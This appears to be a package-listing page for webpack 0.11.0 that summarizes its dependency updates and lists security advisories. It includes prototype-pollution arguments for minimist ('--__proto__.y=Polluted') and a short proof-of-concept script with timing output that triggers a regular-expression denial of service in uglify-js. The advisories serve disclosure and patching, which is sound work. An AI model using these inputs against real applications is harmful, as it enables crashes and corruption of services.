Webpack version 0.11.0 arrived in late October 2013, building upon the foundations laid by version 0.10.0 released a few months earlier in June. Both versions center around the core functionality of packing CommonJs, AMD, and labeled modules for browser deployment, enabling codebase splitting for on-demand loading and supporting diverse loaders for file preprocessing (JSON, Jade, Coffee, CSS, Less, etc.). The update brings enhancements primarily in the dependency and devDependency landscape.
Specifically, version 0.11.0 updates key dependencies like optimist (0.6 from 0.5) and uglify-js (2.4 from 2.3). Developers targeting optimizations in parsing command line arguments and JavaScript code minification will appreciate these changes.. As for devDependencies, testing libraries are major updates, with mocha moving to 1.13 from 1.10, should to 2.0 from 1.2, and express to 3.4 from 3.2 for better functionalities during development. Similarly webpack-dev-middleware moved to version 0.11.x supporting the main webpack package. The core webpack functionality remains consistent, preserving the familiar workflow around module bundling, code splitting, and loader integration. Developers already familiar with 0.10.0 can upgrade to 0.11.0 for dependency updates related to performance improvements during minification and potentially more compatible testing and development experiences.
All the vulnerabilities related to the version 0.11.0 of the package
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.